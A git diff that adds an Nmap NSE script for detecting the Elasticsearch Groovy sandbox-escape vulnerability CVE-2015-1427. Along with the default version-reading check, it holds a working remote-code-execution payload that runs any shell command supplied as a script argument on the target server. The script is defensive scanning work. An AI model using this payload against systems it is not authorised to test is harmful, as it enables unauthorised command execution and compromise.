summaryrefslogtreecommitdiffstats
path: root/scripts/http-vuln-cve2015-1427.nse
diff options
context:
space:
mode:
Diffstat (limited to 'scripts/http-vuln-cve2015-1427.nse')
-rw-r--r--scripts/http-vuln-cve2015-1427.nse210
1 files changed, 210 insertions, 0 deletions
diff --git a/scripts/http-vuln-cve2015-1427.nse b/scripts/http-vuln-cve2015-1427.nse
new file mode 100644
index 0000000..342df6f
--- /dev/null
+++ b/scripts/http-vuln-cve2015-1427.nse
@@ -0,0 +1,210 @@
+local http = require "http"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local vulns = require "vulns"
+local json = require "json"
+local nmap = require "nmap"
+local rand = require "rand"
+
+description = [[
+This script attempts to detect a vulnerability, CVE-2015-1427, which allows attackers
+ to leverage features of this API to gain unauthenticated remote code execution (RCE).
+
+ Elasticsearch versions 1.3.0-1.3.7 and 1.4.0-1.4.2 have a vulnerability in the Groovy scripting engine.
+ The vulnerability allows an attacker to construct Groovy scripts that escape the sandbox and execute shell
+ commands as the user running the Elasticsearch Java VM.
+ ]]
+
+---
+-- @args command Enter the shell comannd to be executed. The script outputs the Java
+-- and Elasticsearch versions by default.
+-- @args invasive If set to true then it creates an index if there are no indices.
+--
+-- @usage
+-- nmap --script=http-vuln-cve2015-1427 --script-args command= 'ls' <targets>
+--
+--@output
+-- | http-vuln-cve2015-1427:
+-- | VULNERABLE:
+-- | ElasticSearch CVE-2015-1427 RCE Exploit
+-- | State: VULNERABLE (Exploitable)
+-- | IDs: CVE:CVE-2015-1427
+-- | Risk factor: High CVSS2: 7.5
+-- | The vulnerability allows an attacker to construct Groovy
+-- | scripts that escape the sandbox and execute shell commands as the user
+-- | running the Elasticsearch Java VM.
+-- | Exploit results:
+-- | ElasticSearch version: 1.3.7
+-- | Java version: 1.8.0_45
+-- | References:
+-- | http://carnal0wnage.attackresearch.com/2015/03/elasticsearch-cve-2015-1427-rce-exploit.html
+-- | https://jordan-wright.github.io/blog/2015/03/08/elasticsearch-rce-vulnerability-cve-2015-1427/
+-- | https://github.com/elastic/elasticsearch/issues/9655
+-- |_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-1427
+
+author = {"Gyanendra Mishra", "Daniel Miller"}
+
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+categories = {"vuln", "intrusive"}
+
+portrule = shortport.port_or_service(9200, "http", "tcp")
+
+
+local function parseResult(parsed)
+ -- for commands that return printable results
+ if parsed.hits.hits[1] and parsed.hits.hits[1].fields and parsed.hits.hits[1].fields.exploit[1] then
+ return parsed.hits.hits[1].fields.exploit[1]
+ end
+ -- mkdir(etc) command seems to work but as it returns no result
+ if parsed.hits.total > 0 then
+ return "Likely vulnerable. Command entered gave no output to print. Use without command argument to ensure vulnerability."
+ end
+ return false
+end
+
+action = function(host, port)
+
+ local command = stdnse.get_script_args(SCRIPT_NAME .. ".command")
+ local invasive = stdnse.get_script_args(SCRIPT_NAME .. ".invasive")
+
+ local payload = {
+ size= 1,
+ query= {
+ match_all= {}
+ },
+ script_fields= {
+ exploit= {
+ lang= "groovy",
+ -- This proves vulnerability because the fix was to prevent access to
+ -- .class and .forName
+ script= '"ElasticSearch version: "+\z
+ java.lang.Math.class.forName("org.elasticsearch.Version").CURRENT+\z
+ "\\n Java version: "+\z
+ java.lang.Math.class.forName("java.lang.System").getProperty("java.version")'
+ }
+ }
+ }
+ if command then
+ payload.script_fields.exploit.script = string.format(
+ 'java.lang.Math.class.forName("java.util.Scanner").getConstructor(\z
+ java.lang.Math.class.forName("java.io.InputStream")).newInstance(\z
+ java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec(\z
+ %s).getInputStream()).useDelimiter("highlyunusualstring").next()',
+ json.generate(command))
+ end
+
+ local json_payload = json.generate(payload)
+
+ local vuln_table = {
+ title = "ElasticSearch CVE-2015-1427 RCE Exploit",
+ state = vulns.STATE.NOT_VULN,
+ risk_factor = "High",
+ references = {
+ 'http://carnal0wnage.attackresearch.com/2015/03/elasticsearch-cve-2015-1427-rce-exploit.html',
+ 'https://jordan-wright.github.io/blog/2015/03/08/elasticsearch-rce-vulnerability-cve-2015-1427/',
+ 'https://github.com/elastic/elasticsearch/issues/9655'
+ },
+ IDS = {
+ CVE = 'CVE-2015-1427'
+ },
+ scores = {
+ CVSS2 = '7.5'
+ },
+ description = [[The vulnerability allows an attacker to construct Groovy
+ scripts that escape the sandbox and execute shell commands as the user
+ running the Elasticsearch Java VM.]]
+ }
+
+ local report = vulns.Report:new(SCRIPT_NAME, host, port)
+
+ local cleanup = function() return end
+ local nocache = {no_cache=true, bypass_cache=true}
+ --lets check the elastic search version.
+ local response = http.get(host, port, '/')
+ if response.status == 200 and response.body then
+ local status, parsed = json.parse(response.body)
+ if not(status) then
+ stdnse.debug1('Parsing JSON failed(version checking). Probably not running Elasticsearch')
+ return nil
+ else
+ if parsed.version.number then
+ --check if a vulnerable version is running
+ if (tostring(parsed.version.number):find('1.3.[0-7]') or tostring(parsed.version.number):find('1.4.[0-2]')) then
+ vuln_table.state = vulns.STATE.LIKELY_VULN
+ end
+ --help the version/service detection.
+ port.version = {
+ name = 'elasticsearch',
+ name_confidence = 10,
+ product = 'Elastic elasticsearch',
+ version = tostring(parsed.version.number),
+ service_tunnel = 'none',
+ cpe = {'cpe:/a:elasticsearch:elasticsearch:' .. tostring(parsed.version.number)}
+ }
+ nmap.set_port_version(host,port,'hardmatched')
+ else
+ stdnse.debug1('Cant Be Elastic search as no version number present.')
+ return nil
+ end
+ end
+ else
+ stdnse.debug1('Not Running Elastic Search.')
+ return nil
+ end
+
+ -- check if it is indexed, if not create index
+ response = http.get(host,port,'_cat/indices', nocache)
+ if response.status ~= 200 then
+ stdnse.debug1( "Couldnt fetch indices.")
+ return report:make_output(vuln_table)
+ elseif response.body == '' then
+ if invasive then
+ local rand = rand.random_alpha(8)
+ cleanup = function()
+ local r = http.generic_request(host, port, "DELETE", ("/%s"):format(rand))
+ if r.status ~= 200 or not r.body:match('"acknowledged":true') then
+ stdnse.debug1( "Could not delete index created by invasive script-arg")
+ end
+ end
+ local data = { [rand] = rand }
+ stdnse.debug1("Creating Index. 5 seconds wait.")
+ response = http.put(host,port,('%s/%s/1'):format(rand, rand),nil,json.generate(data))
+ if not(response.status == 201) then
+ stdnse.debug1( "Didnt have any index. Creating index failed.")
+ return report:make_output(vuln_table)
+ end
+ stdnse.sleep(5) -- search will not return results immediately
+ else
+ stdnse.debug1("Not Indexed. Try the invasive option ;)")
+ return report:make_output(vuln_table)
+ end
+ end
+
+ --execute the command
+
+ local target = '_search'
+ response = http.post(host, port, target ,nil ,nil ,(json_payload))
+
+ if not(response.body) or not(response.status==200) then
+ cleanup()
+ return report:make_output(vuln_table)
+ else
+ local status,parsed = json.parse(response.body)
+ if ( not(status) ) then
+ stdnse.debug1("JSON not parsable.")
+ cleanup()
+ return report:make_output(vuln_table)
+ end
+ --if the parseResult function returns something then lets go ahead
+ local results = parseResult(parsed)
+ if results then
+ vuln_table.state = vulns.STATE.EXPLOIT
+ vuln_table.exploit_results = results
+ end
+ end
+
+ cleanup()
+ return report:make_output(vuln_table)
+end